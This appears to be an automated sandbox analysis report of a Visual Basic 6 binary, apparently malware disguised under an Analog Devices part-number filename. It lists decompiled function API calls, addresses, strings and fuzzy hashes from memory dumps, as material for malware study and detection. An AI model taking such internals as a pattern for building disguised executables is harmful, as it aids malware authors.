Associated: 00000000.00000002.1676803871.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676973407.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677228769.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677277778.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ADSP-21593BBPZ10 Analog Devices, Inc.jbxd

Similarity

API ID: __vba$AnsiError$CheckHresult$System$Move$ChkstkFreeListOverflow
String ID: DISPLAY
API String ID: 226413627-865373369
Opcode ID: 6a05cb85e494f777eff56ca68d8a3db58f76e04dcff3142400466dc6ab06a324
Instruction ID: a062e320558ca6fff28f45832f19da439656b4792b9b718fe8d8c950d48b1413
Opcode Fuzzy Hash: 6a05cb85e494f777eff56ca68d8a3db58f76e04dcff3142400466dc6ab06a324
Instruction Fuzzy Hash: 2BA12875940219EFDB24DF50CD89FEAB7B4FB48300F1085EAE50AA7290D7745A84DF64

Function 0042A090 Relevance: 36.9, APIs: 20, Strings: 1, Instructions: 103COMMON

Download Yara Rule

APIs

__vbaChkstk.MSVBVM60(00000000,004032B6,?,?,?,0040CA73,80000002,00000000), ref: 0042A0AE
__vbaStrCopy.MSVBVM60(?,?,?,00000000,004032B6), ref: 0042A0DB
__vbaStrCopy.MSVBVM60(?,?,?,00000000,004032B6), ref: 0042A0E7
__vbaStrCopy.MSVBVM60(?,?,?,00000000,004032B6), ref: 0042A0F3
__vbaOnError.MSVBVM60(000000FF,?,?,?,00000000,004032B6), ref: 0042A102
__vbaStrToAnsi.MSVBVM60(?,?,?,?,?,?,00000000,004032B6), ref: 0042A11B
__vbaSetSystemError.MSVBVM60(80000002,00000000,?,?,?,00000000,004032B6), ref: 0042A12B
__vbaStrToUnicode.MSVBVM60(?,?,?,?,?,00000000,004032B6), ref: 0042A139
__vbaFreeStr.MSVBVM60(?,?,?,00000000,004032B6), ref: 0042A142
__vbaLenBstr.MSVBVM60(?,?,?,?,00000000,004032B6), ref: 0042A153
__vbaStrToAnsi.MSVBVM60(?,?,00000000,?,?,?,00000000,004032B6), ref: 0042A162
__vbaStrToAnsi.MSVBVM60(00000001,?,00000000,00000001,00000000,?,?,?,00000000,004032B6), ref: 0042A175
__vbaSetSystemError.MSVBVM60(00000000,00000000,?,?,?,00000000,004032B6), ref: 0042A185
__vbaStrToUnicode.MSVBVM60(?,?,?,?,?,00000000,004032B6), ref: 0042A193
__vbaStrToUnicode.MSVBVM60(?,?,?,?,?,00000000,004032B6), ref: 0042A1A1
__vbaFreeStrList.MSVBVM60(00000002,?,?,?,?,?,00000000,004032B6), ref: 0042A1B1
__vbaSetSystemError.MSVBVM60(?,?,00000000,004032B6), ref: 0042A1CA
__vbaFreeStr.MSVBVM60(0042A207,?,00000000,004032B6), ref: 0042A1EE
__vbaFreeStr.MSVBVM60(?,00000000,004032B6), ref: 0042A1F7
__vbaFreeStr.MSVBVM60(?,00000000,004032B6), ref: 0042A200

Strings

@2@, xrefs: 0042A0ED

Memory Dump Source

Source File: 00000000.00000002.1677046602.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676803871.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676973407.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677228769.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677277778.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ADSP-21593BBPZ10 Analog Devices, Inc.jbxd

Similarity

API ID: __vba$Free$Error$AnsiCopySystemUnicode$BstrChkstkList
String ID: @2@
API String ID: 653519621-343359795
Opcode ID: f6150098f43948e90806c12a3c2991bf29e9ad6a5940e6859ad760a911545430
Instruction ID: 4db5018945ba0d113f70efc3efbfc2014598e300a345278f9012389ef60e75fd
Opcode Fuzzy Hash: f6150098f43948e90806c12a3c2991bf29e9ad6a5940e6859ad760a911545430
Instruction Fuzzy Hash: B741CCB2900149EFCB04EFE4DE49EDEBBB9EB48705F108159F602B61A0DB756A44CB64

Function 00404FF6 Relevance: 35.1, APIs: 16, Strings: 4, Instructions: 137COMMON

Download Yara Rule

APIs

__vbaChkstk.MSVBVM60(00000000,Function_000032B6), ref: 0040D86E
__vbaOnError.MSVBVM60(000000FF,?,00000000,Function_000032B6), ref: 0040D8B5
__vbaStrCat.MSVBVM60( RO,00000000,?,00000000,Function_000032B6), ref: 0040D8ED
__vbaStrMove.MSVBVM60(?,00000000,Function_000032B6), ref: 0040D8F8
__vbaStrCat.MSVBVM60(Once,00000000,00000000,00000000,?,00000000,Function_000032B6), ref: 0040D911
__vbaStrMove.MSVBVM60(?,00000000,Function_000032B6), ref: 0040D91C
__vbaFreeStrList.MSVBVM60(00000002,?,00000000,80000002,00000000,?,00000000,Function_000032B6), ref: 0040D937
__vbaStrCat.MSVBVM60( RO,00000000), ref: 0040D952
__vbaStrMove.MSVBVM60(?,?,Function_000032B6), ref: 0040D95D
__vbaStrCat.MSVBVM60(Once,00000000,00000000,00000000), ref: 0040D977
__vbaStrMove.MSVBVM60(?,?,Function_000032B6), ref: 0040D982
__vbaFreeStrList.MSVBVM60(00000002,?,00000000,80000002,00000000), ref: 0040D99D
#580.MSVBVM60(00000000,00000027,00000000,00000000,0042C0F4,00000000,0042C0D4), ref: 0040DA0C
__vbaStrCat.MSVBVM60( MR,00000000,0042C110,0042C114,0042C118,00000000,0042C0D4), ref: 0040DA33
__vbaStrMove.MSVBVM60 ref: 0040DA3E
__vbaFreeStr.MSVBVM60(00000000), ref: 0040DA4D

Strings

C, xrefs: 00404FF6
MR, xrefs: 0040DA2E
RO, xrefs: 0040D8E8, 0040D94D
Once, xrefs: 0040D90C, 0040D972

Memory Dump Source

Source File: 00000000.00000002.1677046602.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676803871.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676973407.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677228769.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677277778.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ADSP-21593BBPZ10 Analog Devices, Inc.jbxd

Similarity

API ID: __vba$Move$Free$List$#580ChkstkError
String ID: MR$ RO$C$Once
API String ID: 3619039755-2541133078
Opcode ID: 51f8670c5577a9d60adca4f5475f3347c83c433d099adc03e5839f88fcd5abb2
Instruction ID: cb69084c84231b04a80139a54d6e55147a6181afad02e942266a88f85e06280e
Opcode Fuzzy Hash: 51f8670c5577a9d60adca4f5475f3347c83c433d099adc03e5839f88fcd5abb2
Instruction Fuzzy Hash: 67515C71A00204EFD700DFD4DE8ABAE77B4EF48704F60816AF501B72A1DBB85A45CB69

Function 00415D20 Relevance: 35.1, APIs: 18, Strings: 2, Instructions: 122COMMON

Download Yara Rule

APIs

__vbaStrCat.MSVBVM60( !@,00409278,?,00000001), ref: 00415D70
__vbaStrMove.MSVBVM60(?,00000001), ref: 00415D7D
__vbaStrCat.MSVBVM60(00409280,00000000,?,00000001), ref: 00415D85
__vbaStrMove.MSVBVM60(?,00000001), ref: 00415D8C
__vbaInStr.MSVBVM60(00000000,00000000,?,00000001), ref: 00415D90
__vbaFreeStrList.MSVBVM60(00000002,?,?,?,00000001), ref: 00415DA2
__vbaStrCat.MSVBVM60( !@,004095AC,?,-00000001), ref: 00415DD0
__vbaStrMove.MSVBVM60(?,-00000001), ref: 00415DD7
__vbaStrCat.MSVBVM60(00409280,00000000,?,-00000001), ref: 00415DDF
__vbaStrMove.MSVBVM60(?,-00000001), ref: 00415DE6
__vbaInStr.MSVBVM60(00000000,00000000,?,-00000001), ref: 00415DEB
__vbaFreeStrList.MSVBVM60(00000002,?,?,?,-00000001), ref: 00415DFD
__vbaLenBstr.MSVBVM60 ref: 00415E10
__vbaLenBstr.MSVBVM60(?,?), ref: 00415E43
#631.MSVBVM60(?,-00000002,?,?), ref: 00415E59
__vbaStrMove.MSVBVM60(?,-00000002,?,?), ref: 00415E64
__vbaFreeVar.MSVBVM60(?,-00000002,?,?), ref: 00415E69
__vbaErrorOverflow.MSVBVM60 ref: 00415EB9

Strings

!@, xrefs: 00415D49, 00415DB3, 00415E53, 00415D63, 00415DCF
AHA !@, xrefs: 00415D4C, 00415DC4, 00415E0A, 00415E16

Memory Dump Source

Source File: 00000000.00000002.1677046602.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676803871.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676973407.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677228769.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677277778.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ADSP-21593BBPZ10 Analog Devices, Inc.jbxd

Similarity

API ID: __vba$Move$Free$BstrList$#631ErrorOverflow
String ID: !@$AHA !@
API String ID: 43011225-1712571822
Opcode ID: 1d0fd53414f82b8a5140894465822627a2b2e4415d5277366693652de8302a8f
Instruction ID: 81cdc0ee054e8d02015220d1a651034c4d5d80587a79404b4572d844a8d9d7d0
Opcode Fuzzy Hash: 1d0fd53414f82b8a5140894465822627a2b2e4415d5277366693652de8302a8f
Instruction Fuzzy Hash: CC412E75E00208AFC704DFA4DD85EEE7BB9EB88701F10416AF905E72A1DB749D45CBA8

Function 00404FCF Relevance: 34.9, APIs: 23, Instructions: 352COMMON

Download Yara Rule

APIs

__vbaChkstk.MSVBVM60(00000000,Function_000032B6), ref: 0040CFFE
__vbaOnError.MSVBVM60(000000FF,?,?,?,00000000,Function_000032B6), ref: 0040D02E
__vbaHresultCheckObj.MSVBVM60(00000000,?,00406330,00000728), ref: 0040D081
__vbaHresultCheckObj.MSVBVM60(00000000,?,004077C4,0000001C), ref: 0040D0C9
__vbaI2I4.MSVBVM60 ref: 0040D0ED
__vbaFreeObj.MSVBVM60 ref: 0040D0FA
__vbaObjSet.MSVBVM60(?,00000000), ref: 0040D164
__vbaHresultCheckObj.MSVBVM60(00000000,00000000,004082BC,0000004C), ref: 0040D197
__vbaFreeObj.MSVBVM60 ref: 0040D1CF

Memory Dump Source

Source File: 00000000.00000002.1677046602.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676803871.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676973407.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677228769.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677277778.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ADSP-21593BBPZ10 Analog Devices, Inc.jbxd

Similarity

API ID: __vba$CheckHresult$Free$ChkstkError
String ID:
API String ID: 1728155253-0
Opcode ID: 3c944235882b9afb45df9b4f0640810cfb7f24e8e2d8d4c98d1c623bf1b17505
Instruction ID: 5eaa79c7dd67bbe53d223c6610bcbbbf959998076f90a4c84057eb8df8a5bbf3
Opcode Fuzzy Hash: 3c944235882b9afb45df9b4f0640810cfb7f24e8e2d8d4c98d1c623bf1b17505
Instruction Fuzzy Hash: 73F10374D00208EFDB14DFA4C988ADEBBB5FF48304F20816DE50AAB291D779A985CF55

Function 00419C60 Relevance: 34.7, APIs: 23, Instructions: 171COMMON

Download Yara Rule

APIs

__vbaChkstk.MSVBVM60(00000000,Function_000032B6,?,?,?,?,?,Function_000032B6), ref: 00419C7E
__vbaOnError.MSVBVM60(000000FF,?,?,?,00000000,Function_000032B6), ref: 00419CAE
__vbaSetSystemError.MSVBVM60(?,?,?,?,?,00000000,Function_000032B6), ref: 00419CCB
__vbaSetSystemError.MSVBVM60(00000002,00000000,?,?,?,00000000,Function_000032B6), ref: 00419CE7
__vbaRecUniToAnsi.MSVBVM60(00405598,?,00000128), ref: 00419D24
__vbaSetSystemError.MSVBVM60(?,00000000), ref: 00419D3D
__vbaRecAnsiToUni.MSVBVM60(00405598,00000128,?), ref: 00419D56
__vbaStrFixstr.MSVBVM60(00000104,?,00000001), ref: 00419DB5
__vbaStrMove.MSVBVM60 ref: 00419DC3
__vbaInStr.MSVBVM60(00000000,004099EC,00000000), ref: 00419DD1
__vbaStrFixstr.MSVBVM60(00000104,?,-00000001), ref: 00419DED
__vbaStrMove.MSVBVM60 ref: 00419DFB
#616.MSVBVM60(00000000), ref: 00419E02
__vbaStrMove.MSVBVM60 ref: 00419E10
__vbaLsetFixstr.MSVBVM60(00000104,?,?), ref: 00419E29
__vbaStrMove.MSVBVM60 ref: 00419E51
__vbaFreeStrList.MSVBVM60(00000002,?,?), ref: 00419E67
__vbaSetSystemError.MSVBVM60(?,?,00000000,Function_000032B6), ref: 00419E83
__vbaRecUniToAnsi.MSVBVM60(00405598,?,00000128), ref: 00419EA8
__vbaSetSystemError.MSVBVM60(?,00000000), ref: 00419EC1
__vbaRecAnsiToUni.MSVBVM60(00405598,00000128,?), ref: 00419EDA
__vbaSetSystemError.MSVBVM60(?), ref: 00419F0D

Memory Dump Source

Source File: 00000000.00000002.1677046602.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676803871.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676973407.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677228769.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677277778.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ADSP-21593BBPZ10 Analog Devices, Inc.jbxd

Similarity

API ID: __vba$Error$System$AnsiMove$Fixstr$#616ChkstkFreeListLset
String ID:
API String ID: 3958989997-0
Opcode ID: 79f13ceaef8f2061b8b80027d96b1a3ea6df7ed6deb9aed4509d8a0052579542
Instruction ID: f493f75851a7fc0dbfc09fa37243ff87ef1c3d0c798e8d4c224362c0094269ff
Opcode Fuzzy Hash: 79f13ceaef8f2061b8b80027d96b1a3ea6df7ed6deb9aed4509d8a0052579542
Instruction Fuzzy Hash: D5612D71901259EFDB10EFA0CE4CBEEB778EB48305F1081E9E10AB6190DB785A84CF58

Function 00422700 Relevance: 34.6, APIs: 23, Instructions: 111COMMON

Download Yara Rule

APIs

__vbaChkstk.MSVBVM60(00000000,Function_000032B6,?,?,?,?,?,?,?,00000000,Function_000032B6), ref: 0042271E
__vbaStrCopy.MSVBVM60(?,00000000,?,00000000,Function_000032B6), ref: 0042274B
__vbaOnError.MSVBVM60(000000FF,?,00000000,?,00000000,Function_000032B6), ref: 0042275A
#648.MSVBVM60(0000000A), ref: 00422779
__vbaFreeVar.MSVBVM60 ref: 00422788
__vbaI2I4.MSVBVM60(?), ref: 0042279C
__vbaFileOpen.MSVBVM60(00000120,000000FF,00000000), ref: 004227AA
__vbaI2I4.MSVBVM60 ref: 004227BA
#570.MSVBVM60(00000000), ref: 004227C1
__vbaLenBstr.MSVBVM60(Function_0000545C), ref: 004227CE
__vbaLenBstr.MSVBVM60(Function_0000545C), ref: 00422801
#525.MSVBVM60(00000000), ref: 00422808
__vbaStrMove.MSVBVM60 ref: 00422813
__vbaI2I4.MSVBVM60 ref: 00422823
__vbaFileSeek.MSVBVM60(00000004,00000000), ref: 0042282E
__vbaI2I4.MSVBVM60 ref: 0042283E
__vbaGet3.MSVBVM60(00000000,?,00000000), ref: 0042284B

Part of subcall function 004115D0: __vbaLenBstr.MSVBVM60(00000000), ref: 0041160D
Part of subcall function 004115D0: #631.MSVBVM60(?,?,?), ref: 00411658
Part of subcall function 004115D0: __vbaStrMove.MSVBVM60(?,?,?), ref: 00411663
Part of subcall function 004115D0: #516.MSVBVM60(00000000,?,?,?), ref: 0041166A
Part of subcall function 004115D0: __vbaFreeStr.MSVBVM60(?,?,?), ref: 004116C8
Part of subcall function 004115D0: __vbaFreeVar.MSVBVM60(?,?,?), ref: 004116D1
Part of subcall function 004115D0: #631.MSVBVM60(?,?,00000002,?,?,?), ref: 00411701
Part of subcall function 004115D0: __vbaStrMove.MSVBVM60(?,?,00000002,?,?,?), ref: 0041170C
Part of subcall function 004115D0: #516.MSVBVM60(00000000,?,?,00000002,?,?,?), ref: 00411713

__vbaStrMove.MSVBVM60(?), ref: 00422866
__vbaI2I4.MSVBVM60 ref: 00422876
__vbaFileClose.MSVBVM60(00000000), ref: 0042287D
__vbaFreeStr.MSVBVM60(004228BA), ref: 004228AA
__vbaFreeStr.MSVBVM60 ref: 004228B3
__vbaErrorOverflow.MSVBVM60 ref: 004228D0

Memory Dump Source

Source File: 00000000.00000002.1677046602.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676803871.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676973407.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677228769.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677277778.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ADSP-21593BBPZ10 Analog Devices, Inc.jbxd

Similarity

API ID: __vba$Free$Move$BstrFile$#516#631Error$#525#570#648ChkstkCloseCopyGet3OpenOverflowSeek
String ID:
API String ID: 2204187013-0
Opcode ID: 033fe3c34fbbcf343d2ddb18182b1ad3dc07b0f00dff811bdd5c950921dea067
Instruction ID: 20b1ae5d524e12f90e8be89b45e8a07560083909273999c33b36cc12d9e9d757
Opcode Fuzzy Hash: 033fe3c34fbbcf343d2ddb18182b1ad3dc07b0f00dff811bdd5c950921dea067
Instruction Fuzzy Hash: 3441DC71D00248EFDB04EFA4DB4DBDEBBB4EB48705F108169E502B76A0DB785A44CB69

Function 004264F0 Relevance: 31.7, APIs: 21, Instructions: 182COMMON

Download Yara Rule

APIs

__vbaAryConstruct2.MSVBVM60(?,0040A1B4,00000011,00000000,6D07285F,6D061654), ref: 00426547
__vbaSetSystemError.MSVBVM60(00000000,?,00000040,?,00000000), ref: 00426571
__vbaSetSystemError.MSVBVM60(?,?,00000002), ref: 00426582
#537.MSVBVM60(00000000), ref: 00426592
__vbaStrMove.MSVBVM60 ref: 0042659F
#537.MSVBVM60(?,00000000), ref: 004265AB
__vbaStrMove.MSVBVM60 ref: 004265B2
__vbaStrCat.MSVBVM60(00000000), ref: 004265B5
__vbaStrMove.MSVBVM60 ref: 004265C0
__vbaStrCmp.MSVBVM60(0040A198,00000000), ref: 004265C8
__vbaFreeStrList.MSVBVM60(00000003,?,?,?), ref: 004265E5
__vbaSetSystemError.MSVBVM60(?,?,?,00000000), ref: 00426619
__vbaSetSystemError.MSVBVM60(?,?,00000004,?,00000000,?,?,?,00000000), ref: 0042662F
#537.MSVBVM60(?,?,?,00000004,?,00000000,?,?,?,00000000), ref: 00426640
__vbaStrMove.MSVBVM60(?,?,00000004,?,00000000,?,?,?,00000000), ref: 00426647
__vbaStrCmp.MSVBVM60(0040A1AC,00000000,?,?,00000004,?,00000000,?,?,?,00000000), ref: 0042664F
#537.MSVBVM60(00000000,?,?,00000004,?,00000000,?,?,?,00000000), ref: 00426666
__vbaStrMove.MSVBVM60(?,?,00000004,?,00000000,?,?,?,00000000), ref: 0042666D
__vbaStrCmp.MSVBVM60(0040A1A4,00000000,?,?,00000004,?,00000000,?,?,?,00000000), ref: 00426675
__vbaFreeStrList.MSVBVM60(00000002,?,?,?,?,00000004,?,00000000,?,?,?,00000000), ref: 004266AD
__vbaAryDestruct.MSVBVM60(00000000,?,00426706), ref: 004266FF

Memory Dump Source

Source File: 00000000.00000002.1677046602.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676803871.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676973407.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677228769.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677277778.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ADSP-21593BBPZ10 Analog Devices, Inc.jbxd

Similarity

API ID: __vba$Move$#537ErrorSystem$FreeList$Construct2Destruct
String ID:
API String ID: 2170920009-0
Opcode ID: ee103aa960844d6c0c66a8e010ce742ea9115f4b6a67e78245a25efa224450b7
Instruction ID: fe4e2f04ec6deddc8f2c7747cb95564e443f1ff94db73ec5ebb53e34e52d70e0
Opcode Fuzzy Hash: ee103aa960844d6c0c66a8e010ce742ea9115f4b6a67e78245a25efa224450b7
Instruction Fuzzy Hash: 4E51A371E002299BDB24DBB4CD45FEEBBB9EF48700F20822AE545FB291DA745904CF94

Function 00428E40 Relevance: 31.7, APIs: 21, Instructions: 166COMMON

Download Yara Rule

APIs

__vbaOnError.MSVBVM60(00000001), ref: 00428E91
__vbaCastObj.MSVBVM60(00000000,0040A2F8), ref: 00428E9F
__vbaObjSet.MSVBVM60(?,00000000), ref: 00428EAA
__vbaHresultCheckObj.MSVBVM60(00000000,?,0040A214,000007C4), ref: 00428ED0
__vbaFreeObj.MSVBVM60 ref: 00428EDD
__vbaCastObj.MSVBVM60(00000000,0040A2F8), ref: 00428EF0
__vbaObjSet.MSVBVM60(?,00000000), ref: 00428EFB
__vbaHresultCheckObj.MSVBVM60(00000000,?,0040A214,000007C4), ref: 00428F1B
__vbaFreeObj.MSVBVM60 ref: 00428F20
__vbaHresultCheckObj.MSVBVM60(00000000,?,0040A214,000007BC), ref: 00428F45
__vbaHresultCheckObj.MSVBVM60(00000000,?,0040A308,00000078), ref: 00428F65
__vbaStrCopy.MSVBVM60 ref: 00428F6D
__vbaHresultCheckObj.MSVBVM60(00000000,?,0040A214,000007B0), ref: 00428F94
#519.MSVBVM60(?), ref: 00428F9A
__vbaStrMove.MSVBVM60 ref: 00428FA5
__vbaFreeStrList.MSVBVM60(00000003,?,?,?), ref: 00428FB9
__vbaFreeObj.MSVBVM60 ref: 00428FC5
__vbaLenBstr.MSVBVM60(?), ref: 00428FCF
__vbaRaiseEvent.MSVBVM60(?,00000001,00000001), ref: 00428FFC
__vbaExitProc.MSVBVM60 ref: 0042900E
__vbaFreeStr.MSVBVM60(00429046), ref: 0042903F

Memory Dump Source

Source File: 00000000.00000002.1677046602.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676803871.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676973407.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677228769.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677277778.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ADSP-21593BBPZ10 Analog Devices, Inc.jbxd

Similarity

API ID: __vba$CheckFreeHresult$Cast$#519BstrCopyErrorEventExitListMoveProcRaise
String ID:
API String ID: 2502233557-0
Opcode ID: 8b414a5269651d8513c98d17b5e9cc8c7bd7953f7acd46c9466d2aa84f4a978d
Instruction ID: 8420092584710669aa1959ba4e0b61b057cd928f4a57778ab52aa14ced9d5afd
Opcode Fuzzy Hash: 8b414a5269651d8513c98d17b5e9cc8c7bd7953f7acd46c9466d2aa84f4a978d
Instruction Fuzzy Hash: DC513C71A01218ABDB00EFA5DE48EDEBBB8FF58704F10416AF505F62A0D7789905CF69

Function 00419820 Relevance: 31.6, APIs: 21, Instructions: 114COMMON

Download Yara Rule

APIs

__vbaChkstk.MSVBVM60(00000000,Function_000032B6), ref: 0041983E
__vbaOnError.MSVBVM60(000000FF,00000000,?,?,00000000,Function_000032B6), ref: 0041986E
__vbaSetSystemError.MSVBVM60 ref: 00419889
__vbaVarDup.MSVBVM60 ref: 004198A3
#606.MSVBVM60(?,?), ref: 004198BA
__vbaStrMove.MSVBVM60 ref: 004198C5
__vbaFreeVar.MSVBVM60 ref: 004198CE
__vbaStrI2.MSVBVM60(00000000,00000000), ref: 004198DF
__vbaStrMove.MSVBVM60 ref: 004198EA
__vbaStrToAnsi.MSVBVM60(?,00000000), ref: 004198F5
__vbaLenBstr.MSVBVM60(?,00000000), ref: 00419900
__vbaStrToAnsi.MSVBVM60(?,?,00000000), ref: 0041990F
__vbaSetSystemError.MSVBVM60(00000000,00000000,00000000,000000FF,00000000), ref: 00419927
__vbaStrToUnicode.MSVBVM60(?,?), ref: 00419935
__vbaFreeStrList.MSVBVM60(00000003,?,?,?), ref: 00419949
#644.MSVBVM60(?), ref: 0041995D
__vbaSetSystemError.MSVBVM60(00000000), ref: 0041996C
#616.MSVBVM60(?,?), ref: 0041997A
__vbaStrMove.MSVBVM60 ref: 00419985
__vbaFreeStr.MSVBVM60(004199D0), ref: 004199C9
__vbaErrorOverflow.MSVBVM60(?), ref: 004199E6

Memory Dump Source

Source File: 00000000.00000002.1677046602.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676803871.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676973407.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677228769.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677277778.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ADSP-21593BBPZ10 Analog Devices, Inc.jbxd

Similarity

API ID: __vba$Error$FreeMoveSystem$Ansi$#606#616#644BstrChkstkListOverflowUnicode
String ID:
API String ID: 3094200983-0
Opcode ID: d6910d33025b062d129a1e8649d8f18e20bade111b3a8211ccca0156f543e9fa
Instruction ID: c4f5bd512d1b3bf9bc8ce298c4f3288c9308f79173eb6556b40925b4054b111f
Opcode Fuzzy Hash: d6910d33025b062d129a1e8649d8f18e20bade111b3a8211ccca0156f543e9fa
Instruction Fuzzy Hash: 2B410FB5900249EFDB04DFE4DE49BDEBBB8EB48305F104669F601B72A0DB746A44CB64

Function 004296C0 Relevance: 29.8, APIs: 13, Strings: 4, Instructions: 87COMMON

Download Yara Rule

APIs

__vbaChkstk.MSVBVM60(00000000,004032B6,?,?,?,?,0040CAFD,0042C0D4), ref: 004296DE
__vbaOnError.MSVBVM60(000000FF,?,?,?,00000000,004032B6), ref: 0042970E
__vbaStrCopy.MSVBVM60(?,?,?,00000000,004032B6), ref: 00429723

Part of subcall function 004115D0: __vbaLenBstr.MSVBVM60(00000000), ref: 0041160D
Part of subcall function 004115D0: #631.MSVBVM60(?,?,?), ref: 00411658
Part of subcall function 004115D0: __vbaStrMove.MSVBVM60(?,?,?), ref: 00411663
Part of subcall function 004115D0: #516.MSVBVM60(00000000,?,?,?), ref: 0041166A
Part of subcall function 004115D0: __vbaFreeStr.MSVBVM60(?,?,?), ref: 004116C8
Part of subcall function 004115D0: __vbaFreeVar.MSVBVM60(?,?,?), ref: 004116D1
Part of subcall function 004115D0: #631.MSVBVM60(?,?,00000002,?,?,?), ref: 00411701
Part of subcall function 004115D0: __vbaStrMove.MSVBVM60(?,?,00000002,?,?,?), ref: 0041170C
Part of subcall function 004115D0: #516.MSVBVM60(00000000,?,?,00000002,?,?,?), ref: 00411713

__vbaStrMove.MSVBVM60(?,00000000,?,?,?,00000000,004032B6), ref: 0042973D
__vbaStrCat.MSVBVM60(00000000,?,?,?,00000000,004032B6), ref: 00429744
__vbaStrMove.MSVBVM60(?,?,?,00000000,004032B6), ref: 0042974F
__vbaStrCat.MSVBVM60(explorer.exe, ,00000000,?,?,?,00000000,004032B6), ref: 00429761
__vbaStrMove.MSVBVM60(?,?,?,00000000,004032B6), ref: 0042976C
__vbaStrCat.MSVBVM60(?,00000000,?,?,?,00000000,004032B6), ref: 00429779
__vbaStrMove.MSVBVM60(?,00000000,?,?,?,00000000,004032B6), ref: 00429784
__vbaStrCopy.MSVBVM60(?,00000000,?,?,?,00000000,004032B6), ref: 00429792
__vbaStrCopy.MSVBVM60(?,00000000,?,?,?,00000000,004032B6), ref: 004297A0

Part of subcall function 004295B0: __vbaStrToAnsi.MSVBVM60(?,00000000,?,?,?,?,?,?,?,?,?,004032B6,00000000), ref: 004295F7
Part of subcall function 004295B0: __vbaStrToAnsi.MSVBVM60(?,?,00000000,?,?,?,?,?,?,?,?,?,004032B6,00000000), ref: 00429604
Part of subcall function 004295B0: __vbaStrToAnsi.MSVBVM60(?,?,00000000,?,00000000,?,?,?,?,?,?,?,?,?,004032B6,00000000), ref: 00429611
